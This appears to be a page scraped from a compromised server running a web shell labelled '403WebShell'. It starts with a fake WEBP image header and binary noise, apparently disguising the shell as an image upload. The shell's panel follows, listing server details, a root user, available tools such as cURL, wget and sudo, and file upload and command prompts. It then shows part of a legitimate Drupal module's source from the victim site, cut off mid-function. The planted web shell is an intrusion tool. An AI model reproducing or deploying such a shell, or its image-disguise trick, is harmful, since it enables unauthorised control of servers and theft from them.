RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/modules/multiple_registration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/modules/multiple_registration/multiple_registration.module
<?php

/**
 * @file
 * Contains multiple_registration.module.
 */

use Drupal\Core\Database\Database;
use Drupal\Core\Entity\Display\EntityFormDisplayInterface;
use Drupal\Core\Render\Element;
use Drupal\Core\Link;
use Drupal\Core\Routing\RouteMatchInterface;
use Drupal\Core\Entity\EntityInterface;
use Drupal\Core\Url;
use Drupal\multiple_registration\Controller\MultipleRegistrationController;
use Drupal\Core\Form\FormStateInterface;
use Drupal\Core\Entity\Entity\EntityFormDisplay;
use Drupal\Core\Config\Entity\ThirdPartySettingsInterface;
use Drupal\Core\Block\BlockPluginInterface;
use Drupal\Core\Field\WidgetBase;
use Drupal\user\UserInterface;
use Drupal\views\ViewExecutable;

/**
 * Implements hook_help().
 */
function multiple_registration_help($route_name, RouteMatchInterface $route_match) {
  switch ($route_name) {
    // Main module help for the multiple_registration module.
    case 'help.page.multiple_registration':
      $path = dirname(__FILE__) . '/README.txt';
      if (file_exists($path)) {
        $readme = file_get_contents($path);
      }

      if (!isset($readme)) {
        return NULL;
      }

      return '<pre>' . $readme . '</pre>';
  }
}

/**
 * Implements hook_theme().
 */
function multiple_registration_theme() {
  $theme = [];
  return $theme;
}

/**
 * Implements hook_permission().
 */
function multiple_registration_permission() {
  return [
    'administer multiple_registration' => [
      'title' => t('Administer multiple registration'),
      'description' => t('Configure multiple registration module'),
    ],
  ];
}

/**
 * Implements hook_entity_operation_alter().
 */
function multiple_registration_entity_operation_alter(array &$operations, EntityInterface $entity) {
  if ($entity->getEntityTypeId() === 'user_role') {
    if (\Drupal::service('router.route_provider')->getRouteByName('multiple_registration.create_registration_page_form')) {
      $available_roles = \Drupal::service('multiple_registration.service')->getAvailableRoles();
      if (!array_key_exists($entity->id(), $available_roles)) {
        return;
      }
      $operations['add_registration_page'] = [
        'title' => t('Add own registration page'),
        'url' => Url::fromRoute('multiple_registration.create_registration_page_form', ['rid' => $entity->id()]),
        'weight' => 50,
      ];
    }
  }
}

/**
 * Implements hook_form_FORM_ID_alter().
 */
function multiple_registration_form_field_config_edit_form_alter(&$form, FormStateInterface $form_state, $form_id) {
  $field = $form_state->getFormObject()->getEntity();
  $instance = $field;

  if ($instance->get('entity_type') === 'user' && !$instance->isDeleted() && !$instance->isReadonly()) {

    $reg_pages = \Drupal::service('multiple_registration.service')->getRegistrationPages();
    if ($reg_pages) {
      $options[MultipleRegistrationController::MULTIPLE_REGISTRATION_GENERAL_REGISTRATION_ID] = t('General registered users');
      foreach ($reg_pages as $rid => $page) {
        $options[$rid] = t('Users with %role role', ['%role' => $page['role_name']]);
      }
      $descr = t('Specify which of options are actual for this field. If nothing is selected, field is available for all variants.');
      $def_val = $instance->getThirdPartySetting('multiple_registration', 'user_additional_register_form', []);

      $form['field']['third_party_settings']['multiple_registration'] = [
        '#type' => 'checkboxes',
        '#title' => t('This field is needed for:'),
        '#description' => $descr,
        '#default_value' => $def_val,
        '#options' => $options,
      ];

      if (!isset($form['required']['#default_value']) || !$form['required']['#default_value']) {
        $descr = t('Note: works only if "Required field" is unchecked!');
        $def_val = $instance->getThirdPartySetting('multiple_registration', 'user_additional_register_form_required', []);

        $form['field']['third_party_settings']['multiple_registration_required'] = [
          '#type' => 'checkboxes',
          '#title' => t('This field is required for:'),
          '#description' => $descr,
          '#default_value' => $def_val,
          '#options' => $options,
        ];
      }

      $form['actions']['submit']['#submit'][] = 'multiple_registration_field_config_form_submit';
    }
  }
}

/**
 * Disabling of displaying fields assigned for special user roles at user page.
 *
 * @param array $variables
 *   Provides theme hook variables array.
 */
function multiple_registration_preprocess_user(array &$variables) {
  $user = $variables['elements']['#user'];
  /** @var \Drupal\user\Entity\User $user */
  $user_roles = $user->getRoles();
  $fields = $user->getFields();
  foreach ($fields as $field_name => $field_data) {
    /** @var Drupal\Core\Field\FieldItemList $field_data */
    $field_definition = $field_data->getFieldDefinition();
    if (!property_exists($field_definition, 'third_party_settings')) {
      continue;
    }

    /** @var Drupal\field\Entity\FieldConfig $field_definition */
    $third_party_settings = $field_definition->get('third_party_settings');
    if (!array_key_exists('multiple_registration', $third_party_settings)) {
      continue;
    }

    $allowed_roles = $third_party_settings['multiple_registration']['user_additional_register_form'];
    $allowed_roles_unique_values = array_values(array_unique($allowed_roles));
    if ($allowed_roles_unique_values[0] === 0 && count($allowed_roles_unique_values) === 1) {
      continue;
    }

    $found_roles = array_intersect($user_roles, $allowed_roles);
    if (!empty($found_roles) || $field_name === 'user_picture') {
      continue;
    }
    unset($variables['elements'][$field_name], $variables['content'][$field_name]);
  }
}

/**
 * Form submit to save additional field settings.
 *
 * @param array $form
 *   Form data array.
 * @param \Drupal\Core\Form\FormStateInterface $form_state
 *   Form state object.
 */
function multiple_registration_field_config_form_submit(array &$form, FormStateInterface $form_state) {
  $data = $form_state->getValue('multiple_registration');
  $data_required = $form_state->getValue('multiple_registration_required');
  $field = $form_state->getFormObject()->getEntity();
  $field->setThirdPartySetting('multiple_registration', 'user_additional_register_form', $data);
  $field->setThirdPartySetting('multiple_registration', 'user_additional_register_form_required', $data_required);
  $field->save();
}

/**
 * Implements hook_form_alter().
 */
function multiple_registration_form_alter(&$form, FormStateInterface $form_state, $form_id) {
  $storage = $form_state->getStorage();
  if (!empty($storage['form_display']) && is_object($storage['form_display'])) {
    $form_display = $storage['form_display'];
    if ($form_display instanceof EntityFormDisplay && $form_display->getTargetEntityTypeId() === 'user') {
      // Show only appropriate fields.
      $field_definitions = \Drupal::service('entity_field.manager')->getFieldDefinitions('user', 'user');
      foreach ($field_definitions as $field_name => $field_definition) {
        if (isset($form[$field_name]) && $field_definition instanceof ThirdPartySettingsInterface) {
          $field_roles = array_filter($field_definition->getThirdPartySetting('multiple_registration', 'user_additional_register_form', []));
          $field_roles_required = array_filter($field_definition->getThirdPartySetting('multiple_registration', 'user_additional_register_form_required', []));
          if (!empty($field_roles)) {
            // If something was selected.
            $form[$field_name]['#access'] = MultipleRegistrationController::checkFieldAccess($field_roles);
            $form[$field_name]['widget']['#required'] = MultipleRegistrationController::checkFieldAccess($field_roles_required);
          }
        }
      }
    }
  }

  $route_match = \Drupal::routeMatch();
  $route = $route_match->getRouteObject();
  $route_name = $route_match->getRouteName();
  if ($route !== NULL && $route_name === 'multiple_registration.role_registration_page' && $form_id === 'user_register_form') {
    $rid = \Drupal::routeMatch()->getParameter('rid');

    // Hidden field to pass the rid.
    $form['multiple_registration_rid'] = [
      '#type' => 'hidden',
      '#value' => $rid,
    ];

    // Custom submit handler to store the rid.
    $form['actions']['submit']['#submit'][] = '_multiple_registration_rid';
  }
}

/**
 * Form submit handler to store the correspondent rid for the inserted user.
 */
function _multiple_registration_rid(array $form, FormStateInterface $form_state) {
  $rid = $form_state->getValue('multiple_registration_rid');
  $uid = $form_state->getValue('uid');
  $config = \Drupal::config('multiple_registration.create_registration_page_form_config');

  if ($rid && $uid) {
    $connection = Database::getConnection();
    $connection->upsert('multiple_registration')
      ->fields([
        'uid' => $uid,
        'rid' => $rid,
      ]
    )
      ->key('uid')
      ->execute();
  }

  // Redirect users to custom path.
  if ($redirectPath = $config->get('roles')[$rid]['redirect_path']) {
    $form_state->setRedirectUrl(Url::fromUserInput($redirectPath));
  }
}

/**
 * Implements hook_field_widget_form_alter().
 */
function multiple_registration_field_widget_form_alter(&$element, FormStateInterface $form_state, $context) {
  $field_definition = $context['items']->getFieldDefinition();
  $field_name = $field_definition->getName();
  $parents = $context['form']['#parents'];
  $widget_state = WidgetBase::getWidgetState($parents, $field_name, $form_state);
  if ($field_definition->getTargetEntityTypeId() === 'user' && $field_definition instanceof ThirdPartySettingsInterface) {
    if ($field_definition->getThirdPartySetting('multiple_registration', 'user_additional_register_form')) {
      $field_roles = $field_definition->getThirdPartySetting('multiple_registration', 'user_additional_register_form');
    }
    else {
      $field_roles = [];
    }
    if ($field_definition->getThirdPartySetting('multiple_registration', 'user_additional_register_form_required')) {
      $field_roles_required = $field_definition->getThirdPartySetting('multiple_registration', 'user_additional_register_form_required');
    }
    else {
      $field_roles_required = [];
    }

    // Conditions for AJAX triggers and paragraphs with removed states.
    $has_not_triggering_elements = $form_state->getTriggeringElement() === NULL;
    $paragraphs_with_removed_mode = (!isset($form_state->getTriggeringElement()['#paragraphs_mode']) && (isset($form_state->getTriggeringElement()['#paragraphs_mode']) && $form_state->getTriggeringElement()['#paragraphs_mode'] !== 'removed'));

    // If something was selected.
    if (!empty($field_roles) && max($field_roles) !== 0) {
      if ($has_not_triggering_elements || $paragraphs_with_removed_mode) {
        $element['#access'] = MultipleRegistrationController::checkFieldAccess($field_roles);
      }
    }
    if ((!isset($element['#required']) || $element['#required'] === FALSE) && !empty($field_roles_required)) {
      // If something was selected.
      if (max($field_roles_required) !== 0) {
        $required = MultipleRegistrationController::checkFieldAccess($field_roles_required);
        $element['#required'] = $required;
        // Fix 'N/A' element option for 'required' widgets to make them
        // similar with core widgets behaviour.
        if (isset($element['#options']['_none'])) {
          if ($element['#type'] === 'radios' || $element['#type'] === 'checkboxes') {
            unset($element['#options']['_none']);
          }
          if ($element['#type'] === 'select') {
            $element['#options']['_none'] = \Drupal::translation()->translate('- Select a value -');
          }
        }
        foreach (Element::children($element) as $child) {
          if ($widget_state['items_count'] === 0 || (isset($element[$child]['#delta']) && $element[$child]['#delta'] < $widget_state['items_count'])) {
            $element[$child]['#required'] = $required;
          }
        }
      }
    }
  }
}

/**
 * Implements hook_form_FORM_ID_alter().
 */
function multiple_registration_form_user_register_form_alter(&$form, FormStateInterface $form_state, $form_id) {
  $route_match = \Drupal::routeMatch();
  $route = $route_match->getRouteName();
  $current_user = \Drupal::currentUser();
  if ($route === 'multiple_registration.role_registration_page') {

    // Redirect authenticated user to user profile page instead of reg. form.
    if ($current_user->isAuthenticated()) {
      \Drupal::service('multiple_registration.controller_service')->authenticatedUserRedirect($current_user);
    }

    $rid = $route_match->getParameter('rid');

    // Adding role id to the form array.
    $form['rid'] = ['#type' => 'value', '#value' => $rid];
    $form['#validate'][] = 'multiple_registration_user_register_form_validate';
  }
}

/**
 * Extra form validation handler for form_user_register_form().
 */
function multiple_registration_user_register_form_validate(array &$form, FormStateInterface $form_state) {
  $rid = $form_state->getValue('rid');
  // Force enable the role to user.
  $form_state->setValue(['roles', $rid], $rid);
}

/**
 * Implements hook_block_view_BASE_BLOCK_ID_alter().
 */
function multiple_registration_block_view_user_login_block_alter(array &$build, BlockPluginInterface $block) {
  if (isset($build['content']['user_links'])) {
    if (\Drupal::config('user.settings')->get('register') !== UserInterface::REGISTER_ADMINISTRATORS_ONLY) {
      $reg_pages = \Drupal::service('multiple_registration.service')->getRegistrationPages();
      foreach ($reg_pages as $rid => $role) {
        $uri = 'base:' . $role['url'];
        $reg_url = Url::fromUri($uri);
        $reg_link = Link::fromTextAndUrl(t('Create new @role account', ['@role' => $role['role_name']]), $reg_url);
        $build['content']['user_links']['#items']['multiple_registration_' . $rid] = $reg_link;
      }
    }
  }
}

/**
 * Implements form hook display alter to override user edit form per role.
 *
 * @param \Drupal\Core\Entity\Display\EntityFormDisplayInterface $form_display
 *   Form display object.
 * @param array $context
 *   Current context array.
 *
 * @throws \Drupal\Component\Plugin\Exception\InvalidPluginDefinitionException
 * @throws \Drupal\Component\Plugin\Exception\PluginNotFoundException
 */
function multiple_registration_entity_form_display_alter(EntityFormDisplayInterface &$form_display, array $context) {
  $route_match = \Drupal::routeMatch();
  $route = $route_match->getRouteObject();
  $route_name = $route_match->getRouteName();
  if ($route !== NULL) {
    $is_user_register_form = $route_name === 'multiple_registration.role_registration_page' && $context['form_mode'] === 'register';
    $is_user_edit_form = $route_name === 'entity.user.edit_form' && $context['form_mode'] === 'default';

    if ($context['entity_type'] === 'user' && ($is_user_register_form || $is_user_edit_form)) {
      $config = \Drupal::config('multiple_registration.create_registration_page_form_config');

      switch ($route_name) {
        case 'multiple_registration.role_registration_page':
          $rid = \Drupal::routeMatch()->getParameter('rid');
          $custom_form_mode = $config->get('roles')[$rid]['form_mode_register'] ?: 'register';
          break;

        case 'entity.user.edit_form':
          // Current user id from the route context.
          $user_entity_from_route = \Drupal::routeMatch()->getParameters()->all()['user'];
          /** @var \Drupal\user\Entity\User $user_entity_from_route */
          $uid = $user_entity_from_route->id();
          $query = \Drupal::database()->select('multiple_registration', 'mr');
          $query->condition('mr.uid', $uid);
          $query->fields('mr', ['rid']);
          $rid = $query->execute()->fetchField();
          $custom_form_mode = $rid ? $config->get('roles')[$rid]['form_mode_edit'] : 'default';
          break;
      }

      if ($custom_form_mode) {
        // Load the right entity form display.
        $id = $context['entity_type'] . '.' . $context['bundle'] . '.' . $custom_form_mode;
        $storage = \Drupal::entityTypeManager()
          ->getStorage('entity_form_display');
        $change_display = $storage->load($id);

        // If form mode is activated, replace the given one with ours.
        if ($change_display) {
          $form_display = $change_display;
        }
      }
    }
  }
}

/**
 * Implements hook_ENTITY_TYPE_insert().
 */
function multiple_registration_user_insert(EntityInterface $entity) {
  try {
    multiple_registration_handle_user_entity($entity);
  }
  catch (\Exception $exception) {
    \Drupal::logger('multiple_registration')->notice($exception->getMessage());
  }
}

/**
 * Implements hook_ENTITY_TYPE_presave().
 */
function multiple_registration_user_presave(EntityInterface $entity) {
  try {
    multiple_registration_handle_user_entity($entity);
  }
  catch (\Exception $exception) {
    \Drupal::logger('multiple_registration')->notice($exception->getMessage());
  }
}

/**
 * Helper function to prevent code duplicates.
 *
 * @param object $entity
 *   The user entity object.
 *
 * @throws \Drupal\Component\Plugin\Exception\InvalidPluginDefinitionException
 * @throws \Drupal\Component\Plugin\Exception\PluginNotFoundException
 */
function multiple_registration_handle_user_entity($entity) {
  /** @var \Drupal\user\Entity\User $entity */
  $entity_id = $entity->id();
  if (!$entity_id) {
    // If there is no entity id, we can't do anything.
    return;
  }

  $unsupported_roles = ['authenticated', 'administrator'];
  $config = \Drupal::config('multiple_registration.create_registration_page_form_config');
  $required_roles = array_diff($entity->getRoles(), $unsupported_roles);
  // Get all available roles.
  $users_roles = \Drupal::entityTypeManager()->getStorage('user_role')->loadMultiple();
  if (!empty($required_roles)) {
